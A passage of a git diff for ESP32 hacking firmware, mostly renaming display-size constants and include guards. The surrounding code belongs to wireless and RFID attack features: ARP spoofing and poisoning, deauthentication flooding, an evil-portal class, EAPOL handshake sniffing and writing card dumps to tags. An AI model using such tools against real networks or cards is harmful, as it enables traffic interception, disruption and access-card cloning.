- padprintln("------------");
- if (tagInfo.uid.empty())
- {
- displayError("No tag found");
- return;
- }
- padprintln("UID: " + tagInfo.uid_hex);
-
- ScrollableTextArea area(FP, 10, 28, WIDTH - 20, HEIGHT - 38);
-
- padprintln("Type: " + tagInfo.type);
- if (tagInfo.sak == 0x00)
- {
- area.addLine("Write Mifare Ultralight");
- area.addLine("------------");
- area.scrollDown();
- area.draw();
- delay(200);
- int max_block = 4;
- int block = 0;
- std::vector first4Page = pn532_ble.mfRdbl(block);
- if (first4Page.size() == 17)
- {
- first4Page.erase(first4Page.begin());
- }
- if (first4Page.size() == 16)
- {
- max_block = first4Page[14] * 2 + 9;
- }
-
- if (max_block > mfud.size() / 4)
- {
- displayError("Dump size not enough");
- return;
- }
-
- for (int i = 0; i < mfud.size(); i += 4)
- {
- std::vector data(mfud.begin() + i, mfud.begin() + i + 4);
- bool res = pn532_ble.mfuWrbl(block, data);
- if (res)
- {
- area.addLine("Block " + String(block) + " write success");
- }
- else
- {
- area.addLine("Block " + String(block) + " write failed");
- }
- area.scrollDown();
- area.draw();
- block += 4;
- }
- area.addLine("------------");
- area.scrollDown();
- area.draw();
-
- pn532_ble.wakeup();
- while (checkSelPress())
- {
- updateArea(area);
- yield();
- }
- while (!checkSelPress())
- {
- updateArea(area);
- yield();
- }
- }else{
- area.addLine("Not Mifare Ultralight");
- area.scrollDown();
- area.draw();
- }
-}
void Pn532ble::hf14aMfWriteDumpMode()
{
displayBanner();
@@ -949,12 +652,12 @@ void Pn532ble::hf14aMfWriteDumpMode()
}
padprintln("UID: " + tagInfo.uid_hex);
- ScrollableTextArea area(FP, 10, 28, WIDTH - 20, HEIGHT - 38);
+ ScrollableTextArea area(FP, 10, 28, tftWidth - 20, tftHeight - 38);
padprintln("Type: " + tagInfo.type);
if (mfd.size() == 1024 && pn532_ble.isGen1A())
{
- area.addLine("Write Mifare Classic");
+ area.addLine("Write Dump to Gen1A");
area.addLine("------------");
area.scrollDown();
area.draw();
@@ -1200,7 +903,7 @@ void Pn532ble::hf15ReadDumpMode()
padprintln("UID: " + tagInfo.uid_hex);
padprintln("Checking Tag...");
tagInfo = pn532_ble.hf15Info();
- ScrollableTextArea area(FP, 10, 28, WIDTH - 20, HEIGHT - 38);
+ ScrollableTextArea area(FP, 10, 28, tftWidth - 20, tftHeight - 38);
iso15dump.clear();
if (tagInfo.blockSize > 0)
@@ -1264,7 +967,7 @@ void Pn532ble::hf15WriteDumpMode()
padprintln("UID: " + tagInfo.uid_hex);
padprintln("Checking Tag...");
tagInfo = pn532_ble.hf15Info();
- ScrollableTextArea area(FP, 10, 28, WIDTH - 20, HEIGHT - 38);
+ ScrollableTextArea area(FP, 10, 28, tftWidth - 20, tftHeight - 38);
iso15dump.clear();
if (tagInfo.blockSize > 0)
@@ -1354,7 +1057,7 @@ void Pn532ble::loadMifareClassicDumpFile()
displayBanner();
- ScrollableTextArea area(FP, 10, 28, WIDTH - 20, HEIGHT - 38);
+ ScrollableTextArea area(FP, 10, 28, tftWidth - 20, tftHeight - 38);
area.addLine("Dump: " + filePath);
area.addLine("Size: " + String(mfd.size()));
area.addLine("------------");
@@ -1421,7 +1124,7 @@ void Pn532ble::loadMifareUltralightDumpFile()
displayBanner();
- ScrollableTextArea area(FP, 10, 28, WIDTH - 20, HEIGHT - 38);
+ ScrollableTextArea area(FP, 10, 28, tftWidth - 20, tftHeight - 38);
area.addLine("Dump: " + filePath);
area.addLine("Size: " + String(mfd.size()));
area.addLine("------------");
@@ -1488,7 +1191,7 @@ void Pn532ble::loadIso15693DumpFile()
displayBanner();
- ScrollableTextArea area(FP, 10, 28, WIDTH - 20, HEIGHT - 38);
+ ScrollableTextArea area(FP, 10, 28, tftWidth - 20, tftHeight - 38);
area.addLine("Dump: " + filePath);
area.addLine("Size: " + String(iso15dump.size()));
area.addLine("------------");
diff --git a/src/modules/rfid/pn532ble.h b/src/modules/rfid/pn532ble.h
index b89a6191..ba80fdbd 100644
--- a/src/modules/rfid/pn532ble.h
+++ b/src/modules/rfid/pn532ble.h
@@ -40,15 +40,12 @@ class Pn532ble
PN532_BLE pn532_ble = PN532_BLE(true);
std::vector buffer;
- void onNotify(uint8_t *data, size_t length);
void displayBanner();
void showDeviceInfo();
void hf14aScan();
void hf15Scan();
void lfScan();
void hf14aMfReadDumpMode();
- void hf14aMfuReadDumpMode();
- void hf14aMfuWriteDumpMode();
void hf14aMfWriteDumpMode();
void hf14aMfWriteDump(ScrollableTextArea &area);
void hf15ReadDumpMode();
diff --git a/src/modules/rfid/rfid125.cpp b/src/modules/rfid/rfid125.cpp
index 1879bc48..46df5b9d 100644
--- a/src/modules/rfid/rfid125.cpp
+++ b/src/modules/rfid/rfid125.cpp
@@ -7,7 +7,7 @@
*/
#include "rfid125.h"
-#include "core/globals.h"
+#include
#include "core/mykeyboard.h"
#include "core/display.h"
#include "core/sd_functions.h"
diff --git a/src/modules/rfid/rfid125.h b/src/modules/rfid/rfid125.h
index e13d9e00..1a28da2a 100644
--- a/src/modules/rfid/rfid125.h
+++ b/src/modules/rfid/rfid125.h
@@ -6,10 +6,10 @@
* @date 2024-08-13
*/
-#ifndef _RFID125_h_
-#define _RFID125_h_
+#ifndef __RFID125_H__
+#define __RFID125_H__
-#include "core/globals.h"
+#include
#define RFID125_PACKET_SIZE 14
#define RFID125_START_MARK 0x02
diff --git a/src/modules/wifi/ap_info.cpp b/src/modules/wifi/ap_info.cpp
index bd2a20fd..7924469c 100644
--- a/src/modules/wifi/ap_info.cpp
+++ b/src/modules/wifi/ap_info.cpp
@@ -5,7 +5,7 @@
#include "core/display.h"
#include "core/mykeyboard.h"
#include "core/net_utils.h"
-#include "core/globals.h"
+#include
#include "lwip/etharp.h"
#include "core/scrollableTextArea.h"
@@ -104,23 +104,24 @@ void fillInfo(ScrollableTextArea& area){
wifi_ap_record_t ap_info;
err_t res;
if( (res = esp_wifi_sta_get_ap_info(&ap_info)) != ESP_OK ){
- String err;
- switch (res) {
- case ESP_ERR_WIFI_CONN:
- err = "iface is not initialized";
- break;
- case ESP_ERR_WIFI_NOT_CONNECT:
- err = "station disconnected";
- break;
- default:
- err = "failed with" + String(res);
- break;
- }
-
- tft.print(err);
-
- while(checkSelPress()) yield();
- while(!checkSelPress()) yield();
+ String err;
+ switch (res)
+ {
+ case ESP_ERR_WIFI_CONN:
+ err = "iface is not initialized";
+ break;
+ case ESP_ERR_WIFI_NOT_CONNECT:
+ err = "station disconnected";
+ break;
+ default:
+ err = "failed with" + String(res);
+ break;
+ }
+
+ tft.print(err);
+
+ while(checkSelPress()) yield();
+ while(!checkSelPress()) yield();
}
const auto mac = MAC(ap_info.bssid);
@@ -144,8 +145,23 @@ void fillInfo(ScrollableTextArea& area){
area.addLine("Antenna: " + String(ap_info.ant));
}
+void update(ScrollableTextArea& area){
+ if( checkPrevPress() ){
+ area.scrollUp();
+ } else if( checkNextPress() ){
+ area.scrollDown();
+ }
+ area.draw();
+}
+
void displayAPInfo(){
- ScrollableTextArea area = ScrollableTextArea("AP INFO");
+ drawMainBorder();
+
+ // offset header and border
+ ScrollableTextArea area(FP, 10, 30, tftWidth - 20, tftHeight - 40);
+
fillInfo(area);
- area.show();
-}
+
+ while(checkSelPress()){ update(area); yield();}
+ while(!checkSelPress()){ update(area); yield();}
+}
\ No newline at end of file
diff --git a/src/modules/wifi/ap_info.h b/src/modules/wifi/ap_info.h
index 0ae4338a..3ca50db0 100644
--- a/src/modules/wifi/ap_info.h
+++ b/src/modules/wifi/ap_info.h
@@ -1 +1,6 @@
-void displayAPInfo();
\ No newline at end of file
+#ifndef __AP_INFO_H__
+#define __AP_INFO_H__
+
+void displayAPInfo();
+
+#endif
\ No newline at end of file
diff --git a/src/modules/wifi/clients.cpp b/src/modules/wifi/clients.cpp
index d5c202e3..e5ec92cd 100644
--- a/src/modules/wifi/clients.cpp
+++ b/src/modules/wifi/clients.cpp
@@ -15,7 +15,7 @@
#include
#include
#include
-#include "core/globals.h"
+#include
#include "core/display.h"
#include "core/mykeyboard.h"
#include "core/wifi_common.h"
@@ -227,9 +227,9 @@ void ssh_loop(void *pvParameters) {
ssh_channel_write(channel_ssh, message.c_str(), message.length()); // Send the command
}
cursorY = tft.getCursorY(); // Update cursor position
- if(cursorY > HEIGHT) {
- tft.setCursor(0,HEIGHT-10);
- tft.fillRect(0,HEIGHT-11,WIDTH,11, bruceConfig.bgColor);
+ if(cursorY > tftHeight) {
+ tft.setCursor(0,tftHeight-10);
+ tft.fillRect(0,tftHeight-11,tftWidth,11, bruceConfig.bgColor);
}
}
@@ -270,7 +270,7 @@ void ssh_loop(void *pvParameters) {
msg += char(buffer[i]);
if (buffer[i] == '\r') continue; // Ignore carriage return
tft.write(buffer[i]);
- if(tft.getCursorY()>HEIGHT) {
+ if(tft.getCursorY()>tftHeight) {
tft.fillScreen(bruceConfig.bgColor);
tft.setCursor(0,0);
tft.setTextColor(TFT_GREEN);
@@ -282,9 +282,9 @@ void ssh_loop(void *pvParameters) {
log_d("%s", msg);
cursorY = tft.getCursorY(); // Update cursor position
- if(cursorY > HEIGHT) {
- tft.setCursor(0,HEIGHT-10);
- tft.fillRect(0,HEIGHT-11,WIDTH,11, bruceConfig.bgColor);
+ if(cursorY > tftHeight) {
+ tft.setCursor(0,tftHeight-10);
+ tft.fillRect(0,tftHeight-11,tftWidth,11, bruceConfig.bgColor);
}
commandBuffer = "> "; // Reset command buffer
tft.setTextColor(TFT_GREEN);
diff --git a/src/modules/wifi/clients.h b/src/modules/wifi/clients.h
index 1aa11809..1334ba38 100644
--- a/src/modules/wifi/clients.h
+++ b/src/modules/wifi/clients.h
@@ -1,3 +1,6 @@
+#ifndef __CLIENTS_H__
+#define __CLIENTS_H__
+
#include
void telnet_setup();
@@ -6,4 +9,6 @@ void ssh_setup(String host = "");
void ssh_loop(void *pvParameters);
-char* stringTochar(String s);
\ No newline at end of file
+char* stringTochar(String s);
+
+#endif
\ No newline at end of file
diff --git a/src/modules/wifi/dpwo.cpp b/src/modules/wifi/dpwo.cpp
index 09ee172c..e5579129 100644
--- a/src/modules/wifi/dpwo.cpp
+++ b/src/modules/wifi/dpwo.cpp
@@ -10,7 +10,7 @@
#define SD_CREDS_PATH "/dpwo_creds.txt"
-#include "core/globals.h"
+#include
#include "core/sd_functions.h"
#include "dpwo.h"
diff --git a/src/modules/wifi/evil_portal.h b/src/modules/wifi/evil_portal.h
index cb2fda84..19bebab7 100644
--- a/src/modules/wifi/evil_portal.h
+++ b/src/modules/wifi/evil_portal.h
@@ -1,9 +1,9 @@
-#ifndef EVIL_PORTAL_H
-#define EVIL_PORTAL_H
+#ifndef __EVIL_PORTAL_H__
+#define __EVIL_PORTAL_H__
#include
#include
-#include "core/globals.h"
+#include
class EvilPortal {
@@ -64,6 +64,4 @@ class EvilPortal {
String ssid_POST(void);
};
-#endif // EVIL_PORTAL_H
-
-
+#endif
\ No newline at end of file
diff --git a/src/modules/wifi/scan_hosts.cpp b/src/modules/wifi/scan_hosts.cpp
index d8e52e36..c751d180 100644
--- a/src/modules/wifi/scan_hosts.cpp
+++ b/src/modules/wifi/scan_hosts.cpp
@@ -1,10 +1,11 @@
-#include "core/globals.h"
+#include
#include "core/display.h"
#include "core/mykeyboard.h"
#include "core/wifi_common.h"
#include "scan_hosts.h"
#include "clients.h"
#include "wifi_atks.h" // to use Station Deauth
+#include "core/utils.h"
//thx to 7h30th3r0n3, which made scanHosts faster using ARP
@@ -344,7 +345,7 @@ void arpSpoofing(const Host& host, bool mitm) {
sendARPPacket(gatewayIP, gatewayMAC, victimIP, myMAC, pcapFile);
tmp=millis();
count++;
- tft.drawRightString("Spoofed " + String(count) + " times",WIDTH-12,HEIGHT-16,1);
+ tft.drawRightString("Spoofed " + String(count) + " times",tftWidth-12,tftHeight-16,1);
}
}
@@ -411,10 +412,10 @@ void arpPoisoner() {
sendARPPacket(gatewayIP, gatewayMAC, victimIP, victimMAC, pcapFile);
delay(10);
- tft.drawRightString(" " + String(victimIP[0]) + "." + String(victimIP[1]) + "." + String(victimIP[2]) + "." + String(i), WIDTH-12,HEIGHT-16,1);
+ tft.drawRightString(" " + String(victimIP[0]) + "." + String(victimIP[1]) + "." + String(victimIP[2]) + "." + String(i), tftWidth-12,tftHeight-16,1);
}
tmp=millis();
- tft.drawRightString(" Waiting...",WIDTH-12,HEIGHT-16,1);
+ tft.drawRightString(" Waiting...",tftWidth-12,tftHeight-16,1);
}
}
pcapFile.close();
@@ -480,7 +481,7 @@ void stationDeauth(Host host) {
cont+=3*4;
delay(50);
if(millis()-tmp>1000) {
- tft.drawRightString(String(cont) + " fps", WIDTH-12,HEIGHT-16,1);
+ tft.drawRightString(String(cont) + " fps", tftWidth-12,tftHeight-16,1);
cont=0;
tmp=millis();
}
diff --git a/src/modules/wifi/scan_hosts.h b/src/modules/wifi/scan_hosts.h
index 7a6bf848..86c9e5da 100644
--- a/src/modules/wifi/scan_hosts.h
+++ b/src/modules/wifi/scan_hosts.h
@@ -1,3 +1,6 @@
+#ifndef __SCAN_HOSTS_H__
+#define __SCAN_HOSTS_H__
+
#include
#include
#include
@@ -35,4 +38,6 @@ void arpSpoofing(const Host& host, bool mitm);
void arpPoisoner();
-void stationDeauth(Host host);
\ No newline at end of file
+void stationDeauth(Host host);
+
+#endif
\ No newline at end of file
diff --git a/src/modules/wifi/sniffer.cpp b/src/modules/wifi/sniffer.cpp
index e61d0580..de49c096 100644
--- a/src/modules/wifi/sniffer.cpp
+++ b/src/modules/wifi/sniffer.cpp
@@ -21,7 +21,7 @@
#include
#include "FS.h"
#include "core/display.h"
-#include "core/globals.h"
+#include
#include "core/sd_functions.h"
#include "core/wifi_common.h"
#include "core/mykeyboard.h"
@@ -411,7 +411,7 @@ void sniffer_setup() {
delay(200);
#if !defined(HAS_KEYBOARD)
long _tmp=millis();
- while(checkPrevPress()) tft.drawArc(WIDTH/2, HEIGHT/2, 25,15,0,360*(millis()-_tmp)/700,getColorVariation(bruceConfig.priColor),bruceConfig.bgColor);
+ while(checkPrevPress()) tft.drawArc(tftWidth/2, tftHeight/2, 25,15,0,360*(millis()-_tmp)/700,getColorVariation(bruceConfig.priColor),bruceConfig.bgColor);
if(millis()-_tmp>700) { // longpress detected to exit
returnToMenu=true;
_pcap_file.close();
@@ -473,7 +473,7 @@ void sniffer_setup() {
padprintln("Sniffer Mode: " + String(_only_HS?"Only EAPOL/HS":"All packets Sniff"));
padprintln(deauth?"Deauth: ON":"Deauth: OFF");
padprintln(String(BTN_ALIAS) + ": Options Menu");
- tft.drawRightString("Ch." + String(ch<10?"0":"") + String(ch) + "(Next)",WIDTH-10, HEIGHT-18,1);
+ tft.drawRightString("Ch." + String(ch<10?"0":"") + String(ch) + "(Next)",tftWidth-10, tftHeight-18,1);
}
if(currentTime-lastTime>100) tft.drawPixel(0,0,0);
@@ -481,8 +481,8 @@ void sniffer_setup() {
if(fileOpen && currentTime - lastTime > 1000){
_pcap_file.flush(); //save file
lastTime = currentTime; //update time
- tft.drawString("EAPOL: " + String(num_EAPOL) + " HS: " + String(num_HS),10,HEIGHT-18);
- tft.drawCentreString("Packets " + String(packet_counter),WIDTH/2, HEIGHT-26,1);
+ tft.drawString("EAPOL: " + String(num_EAPOL) + " HS: " + String(num_HS),10,tftHeight-18);
+ tft.drawCentreString("Packets " + String(packet_counter),tftWidth/2, tftHeight-26,1);
}
if(deauth && (millis()-deauth_tmp)>60000) { // deauths once every 60 seconds
diff --git a/src/modules/wifi/wifi_atks.cpp b/src/modules/wifi/wifi_atks.cpp
index 727b4a4c..7ae35e78 100644
--- a/src/modules/wifi/wifi_atks.cpp
+++ b/src/modules/wifi/wifi_atks.cpp
@@ -3,10 +3,11 @@
// Arduino IDE needs to be tweeked to work, follow the instructions: https://github.com/justcallmekoko/ESP32Marauder/wiki/arduino-ide-setup
// But change the file in: C:\Users\\AppData\Local\Arduino15\packages\m5stack\hardware\esp32\2.0.9
#include
-#include "core/globals.h"
+#include
#include "core/display.h"
#include "core/main_menu.h"
#include "core/mykeyboard.h"
+#include "core/utils.h"
#include "core/wifi_common.h"
#include "wifi_atks.h"
#include "esp_wifi.h"
@@ -91,7 +92,7 @@ void wifi_atk_info(String tssid, String mac, uint8_t channel)
tft.drawString("AP: " + tssid, 10, 48);
tft.drawString("Channel: " + String(channel), 10, 66);
tft.drawString(mac, 10, 84);
- tft.drawString("Press " + String(BTN_ALIAS) + " to act", 10, HEIGHT - 20);
+ tft.drawString("Press " + String(BTN_ALIAS) + " to act", 10, tftHeight - 20);
delay(300);
while (!checkSelPress())
@@ -196,7 +197,7 @@ void deauthFloodAttack()
{
channel = record.primary;
wsl_bypasser_send_raw_frame(&record, record.primary); // Sets channel to the same AP
- tft.setCursor(10, HEIGHT - 45);
+ tft.setCursor(10, tftHeight - 45);
tft.println("Channel " + String(record.primary) + " ");
for (int i=0; i<100; i++) {
send_raw_frame(deauth_frame, sizeof(deauth_frame_default));
@@ -207,11 +208,11 @@ void deauthFloodAttack()
if (millis() - lastTime > 2000)
{
drawMainBorderWithTitle("Deauth Flood");
- tft.setCursor(10, HEIGHT - 25);
+ tft.setCursor(10, tftHeight - 25);
tft.print("Frames: ");
- tft.setCursor(10, HEIGHT - 25);
+ tft.setCursor(10, tftHeight - 25);
tft.println("Frames: " + String(count / 2) + "/s ");
- tft.setCursor(10, HEIGHT - 45);
+ tft.setCursor(10, tftHeight - 45);
tft.println("Channel " + String(channel) + " ");
count = 0;
lastTime = millis();
@@ -301,7 +302,7 @@ void target_atk(String tssid, String mac, uint8_t channel)
// atualize counter
if (millis() - tmp > 2000)
{
- tft.setCursor(15, HEIGHT - 23);
+ tft.setCursor(15, tftHeight - 23);
tft.print("Frames: " + String(count / 2) + "/s");
count = 0;
tmp = millis();
diff --git a/src/modules/wifi/wifi_atks.h b/src/modules/wifi/wifi_atks.h
index a85d9427..d08dc95e 100644
--- a/src/modules/wifi/wifi_atks.h
+++ b/src/modules/wifi/wifi_atks.h
@@ -1,3 +1,6 @@
+#ifndef __WIFI_ATKS_H__
+#define __WIFI_ATKS_H__
+
#include
extern wifi_ap_record_t ap_record;
@@ -43,4 +46,6 @@ void target_atk(String tssid,String mac, uint8_t channel);
void beaconAttack();
-void deauthFloodAttack();
\ No newline at end of file
+void deauthFloodAttack();
+
+#endif
\ No newline at end of file
diff --git a/src/modules/wifi/wigle.h b/src/modules/wifi/wigle.h
index 8081b051..438e4e86 100644
--- a/src/modules/wifi/wigle.h
+++ b/src/modules/wifi/wigle.h
@@ -5,10 +5,10 @@
* @version 0.1
*/
-#ifndef WIGLE_H
-#define WIGLE_H
+#ifndef __WIGLE_H__
+#define __WIGLE_H__
-#include "core/globals.h"
+#include
#include
@@ -39,4 +39,4 @@ class Wigle {
bool _upload_file(File file, String upload_message);
};
-#endif // WIGLE_H
+#endif
diff --git a/test/README b/test/README
new file mode 100644
index 00000000..9b1e87bc
--- /dev/null
+++ b/test/README
@@ -0,0 +1,11 @@
+
+This directory is intended for PlatformIO Test Runner and project tests.
+
+Unit Testing is a software testing method by which individual units of
+source code, sets of one or more MCU program modules together with associated
+control data, usage procedures, and operating procedures, are tested to
+determine whether they are fit for use. Unit testing finds problems early
+in the development cycle.
+
+More information about PlatformIO Unit Testing:
+- https://docs.platformio.org/en/latest/advanced/unit-testing/index.html